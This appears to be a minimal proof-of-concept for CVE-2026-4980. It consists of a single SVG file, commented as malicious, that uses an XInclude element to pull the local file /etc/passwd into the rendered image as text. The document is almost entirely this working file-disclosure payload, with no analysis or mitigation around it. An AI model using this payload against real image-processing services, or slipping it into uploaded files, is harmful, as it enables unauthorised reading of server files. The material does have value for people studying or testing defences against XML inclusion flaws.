CVE-2026-4980

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xi="http://www.w3.org/2001/XInclude"> <!-- Malicious SVG exploiting XInclude to read local files --> <text x="10" y="20" font-size="14"> <!-- Attempt to include /etc/passwd --> <xi:include href="file:///etc/passwd" parse="text"/> </text> </svg>

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